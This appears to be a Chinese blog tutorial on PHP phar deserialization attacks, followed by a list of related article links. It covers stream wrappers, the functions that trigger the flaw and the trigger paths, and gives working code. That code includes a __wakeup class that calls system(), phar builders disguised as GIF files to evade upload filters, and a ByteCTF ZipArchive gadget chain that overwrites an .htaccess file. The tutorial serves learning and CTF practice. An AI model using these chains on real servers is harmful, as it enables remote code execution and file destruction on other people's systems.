php phar反序列化任意执行代码
2018年 
原理
一。关于流包装stream wrapper
大多数的文件操作允许使用各种URL协议去访问文件路径,如data://,zlib://,php://
例如常见的有
include('php://filter/read=convert.base64-encode/resource=index.php')
include('data://text/plain;base64,xxxxx')
phar://也是流包装的一种
二。phar原理
①
phar是一种压缩文件,其中每个被压缩文件的权限、属性信息都放在这部分。并且这部分
以序列化的形式存储用于自定义的meta-data。
②
对于phar文件的stub,可以理解为一个标志,他的格式是固定的
……<?php   ……;   __HALT_COMPILER();?>
也就是必须要__HALT_COMPILER();结尾才可以,否则无法识别
③
如果要生成phar文件就必须要将php.ini中的phar.readonly设置为off
④
在一些文件函数通过phar://伪协议解析phar文件时都会将meta-data反序列化。
受影响的函数有
fileatime    filectime    filemtime    file_exists    file_get_contents    file_put_contents
file    filegroup    fopen    fileinode    fileowner    fileperms
is_dir    is_file    is_link    is_executable    is_readable    is_writeable
is_wirtble    parse_ini_file    copy    unlink    stat    readfile
finfo_file
三。激发条件拓展
①php://filter/read=convert.base64-encode/resource=./1.phar
②compress.bzip2://phar:///tmp/test.phar
③压缩包
$zip=new ZipArchive(); 
$res=$zip->open('test.zip'); 
$zip->extractTo('phar//test.phar');
④数据库
$pdo = new PDO(sprintf("pgsql:host=%s;dbname=%s;user=%s;password=%s", "127.0.0.1", "postgres", "sx", "123456"));
@$pdo->pgsqlCopyFromFile('aa', 'phar://test.phar/aa');
⑤LOAD DATA LOCAL INFILE
<?php
class A {
    public $s = '';
    public function __wakeup () {
        system($this->s);
    }
}
$m = mysqli_init();
mysqli_options($m, MYSQLI_OPT_LOCAL_INFILE, true);
$s = mysqli_real_connect($m, 'localhost', 'root', '123456', 'easyweb', 3306);
$p = mysqli_query($m, 'LOAD DATA LOCAL INFILE \'phar://test.phar/test\' INTO TABLE a  LINES TERMINATED BY \'\r\n\'  IGNORE 1 LINES;');
四。利用方式扩展(文章最后进行详细介绍)
①SoapClient,php自带类,能够进行SSRF
②ZipArchive,php自带类(可能需要下载扩展),
ZipArchive::open(filename,ZIPARCHIVE::OVERWRITE)    //可以对文件覆盖
Demo
一。简单的小实验
<?php
    class TestObject {
    }
    $phar = new Phar("phar.phar"); //后缀名必须为phar,压缩后的文件名
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
    $o = new TestObject();
    $o -> data='hu3sky';
    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //test为内容test.txt为要压缩的文件(可以不存在)
    //签名自动计算
    $phar->stopBuffering();
?>
运行后会生成一个phar.phar文件在当前目录下,用winhex查看内容
发现meta-data以序列化形式存储,在文件操作函数会自动进行反序列化
那么假如在这样一个php代码文件中include使用
<?php
class TestObject{
    function __destruct()
    {
        echo $this -> data;   
    }
}
include('phar://phar.phar');
?>
结果
hu3sky
可见在之前压缩的phar文件代码
$o = new TestObject();
$o -> data='hu3sky';
被顺利的执行
总结:要实现phar反序列化攻击有几个条件
①有一个类有__destruct魔术方法作为跳板
②有file_exsits()等函数,且函数内容可控
③没有过滤phar://内容
二。拓展:将phar文件伪造成其他格式文件
由原理可知php是通过识别phar文件的文件头stub来判断,确切来说是对于
__HALT_COMPILER(); ,而对于前面内容和后缀名没有要求,那么只要在前面
加上任意文件头+修改后缀名就可以将phar文件伪装成其他格式文件。
<?php
    class TestObject {
    }
    $phar = new Phar("phar.phar"); //后缀名必须为phar,压缩后的文件名
    $phar->startBuffering();
    $phar->setStub('GIF89a'."<?php __HALT_COMPILER(); ?>"); //前面插入gif文件头进行伪装
    $o = new TestObject();
    $o -> data='hu3sky';
    $phar->setMetadata($o); 
    $phar->addFromString("test.txt", "test"); 
    $phar->stopBuffering();
?>
这样php就会将其识别为gif文件,就可以绕过一些上传检测。
--------------------------------------------------------------------------------------
ZipArchive实现文件覆盖
假如一个类的一个方法:
class Profile{
    function __call($name, $arguments)
    {
        $this->admin->open($this->username, $this->password);
    }
}
再看ZipArchive的open方法
ZipArchive::open(filename,OVERWRIDE)  //对文件进行覆写
利用(这里的File类是bytectf里一个题目定义的类,拿来做跳板,本身并没有进行操作):
class File{
public $checker;
}
class Profile{
public $username;
public $password;
public $admin;
function __call($name, $arguments){
        $this->admin->open($this->username, $this->password);
}
}
$o=new File();
$o->checker=new Profile();
$o->checker->admin=new ZipArchive();  //因为这个类在Profile不存在所以触发__call方法
$o->checker->username="./sandbox/f528764d624db129b32c21fbca0cb8d6/.htaccess"
$o->checker->password=ZipArchive:OVERRIDE    //注意这里是调用方法
//这里实际上换到Profile类就是:Profile->ZipArchive->open("path","ZipArchive::OVERWRITE") $phar = new Phar("phar.phar"); //后缀名必须为phar,压缩后的文件名
$phar->startBuffering();
$phar->setStub('GIF89a'."<?php __HALT_COMPILER(); ?>"); //前面插入gif文件头进行伪装
$phar->setMetadata($o); 
$phar->addFromString("test.txt", "test"); 
$phar->stopBuffering();
//生成phar文件
注意:关于上面的__call触发条件,经过个人实验发现:
如果直接进行输入的话并不能触发,以上面为例,例如(不会触发)
$o=new Profile();
$o->admin=new ZipArchive();
$o->username='test.txt';
$o->password=ZipArchive::OVERWRITE;
如果先从一个类的一个变量再跳到另一个类,跳到的类__call方法就会触发,例如(能触发)
$o=new File();
$o->checker=new Profile();
$o->checker->admin=new ZipArchive();
$o->checker->username='test.txt';
$o->checker->password=ZipArchive::OVERWRITE;
而关于__destruct魔术方法是可以直接触发的
php phar反序列化任意执行代码的更多相关文章
- Jenkins Java 反序列化远程执行代码漏洞(CVE-2017-1000353)
		Jenkins Java 反序列化远程执行代码漏洞(CVE-2017-1000353) 一.漏洞描述 该漏洞存在于使用HTTP协议的双向通信通道的具体实现代码中,jenkins利用此通道来接收命令,恶 ... 
- 利用phar实行php反序列化命令执行(测试环境复现)
		测试环境的过程大概是:构成出来的phar文件,并修改为任意后缀上传至服务器.通过index.php中存在的文件操作函数参数可控,把参数设置为 phar://上传文件名 即可导致命令执行. index. ... 
- Node.js 反序列化漏洞远程执行代码(CVE-2017-5941)
		2.1 摘要 2.1.1 漏洞介绍 漏洞名称: Exploiting Node.js deserialization bug for Remote Code Execution 漏洞CVE id: C ... 
- 利用phar实行php反序列化命令执行漏洞复现
		利用phar实行php反序列化命令执行(测试环境复现) 前言 一般说到反序列化漏洞,第一反应都是unserialize()函数.然而安全研究员Sam Thomas分享了议题”It’s a PHP un ... 
- WordPress Woopra Analytics插件‘ofc_upload_image.php’任意PHP代码执行漏洞
		漏洞名称: WordPress Woopra Analytics插件‘ofc_upload_image.php’任意PHP代码执行漏洞 CNNVD编号: CNNVD-201310-195 发布时间: ... 
- 突破XSS字符限制执行任意JS代码
		突破XSS字符限制执行任意JS代码 一.综述 有些XSS漏洞由于字符数量有限制而没法有效的利用,只能弹出一个对话框来YY,本文主要讨论如何突破字符数量的限制进行有效的利用,这里对有效利用的定义是可以不 ... 
- 初识phar反序列化&&复现bytectf_2019_easycms&&RSS思路
		概要 来自Secarma的安全研究员Sam Thomas发现了一种新的漏洞利用方式,可以在不使用php函数unserialize()的前提下,引起严重的php对象注入漏洞.这个新的攻击方式被他公开在了 ... 
- 关于phar反序列化——BUUCTF-[CISCN2019 华北赛区 Day1 Web1]Dropbox
		太难了QAQ 先看看phar是啥https://blog.csdn.net/u011474028/article/details/54973571 简单的说,phar就是php的压缩文件,它可以把多个 ... 
- phar 反序列化学习
		前言 phar 是 php 支持的一种伪协议, 在一些文件处理函数的路径参数中使用的话就会触发反序列操作. 利用条件 phar 文件要能够上传到服务器端. 要有可用的魔术方法作为"跳板&qu ... 
随机推荐
- Java Juc学习笔记
			Java JUC 简介 在 Java 5.0 提供了 java.util.concurrent (简称JUC )包,在此包中增加了在并发编程中很常用的实用工具类,用于定义类似于线程的自定义子系统,包括 ... 
- Java 代码中如何调用 第三方Api
			在代码中调用第三方API 获取数据 package com.example.demo.utils; import com.alibaba.fastjson.JSONObject; import lom ... 
- 学习笔记(10)- 智能会话框架rasa
			https://rasa.com/ 阿里用过这个,贝壳也在用这个. 优点: 有中文版本(https://github.com/crownpku/rasa_nlu_chi): 2018年发布,文档多,业 ... 
- 第1节 Scala基础语法:9、10、数组
			1. 定义数组时,没有new和有new是有区别的: scala> val arr3 = Array[Int](2) 此时,arr3中仅包含1个元素2arr3: Array[Int] = A ... 
- Linux centosVMware shell编程 for循环、while循环、break跳出循环、continue结束本次循环、exit退出整个脚本
			一.for循环 语法:for 变量名 in 条件; do …; done 案例1 #!/bin/bash sum=0 for i in `seq 1 100` do sum=$[$sum+$i] ec ... 
- 简析ThreadLocal原理及应用
			简析ThreadLocal原理及应用 原创: 东晨雨 JAVA万维猿圈 4月17日 ThreadLocal的源码加上注释不超过八百行,源码结构清晰,代码也比较简洁.ThreadLocal可以说是Jav ... 
- LauUI 的学习
			LayUI学习笔记 layer laydate layui 学习新技术方法:学习一个新技术,要去把它的文档通读一遍,不管你能不能读明白,就算你不明白也大概能知道它是怎么回事了,一回生二回熟,多读几遍, ... 
- ubutun18 install ibus-pinyin
			ref: https://www.cnblogs.com/asmer-stone/p/9069866.html Step1 $ sudo apt-get install ibus-pinyin 
- thymeleaf 在 html和js 中拼接字符串
			一.th:text字符串和事件拼接 <span th:text="'Welcome,'+${user.name}"> <span th:text="| ... 
- QQ企业通--客户端登陆模块设计---知识点
			AutoValidate 枚举 确定控件在失去用户输入焦点时应如何验证其数据. 成员名称 说明 Disable 将不进行隐式验证.设置此值将不会妨碍对 Validate 或 ValidateChil ... 
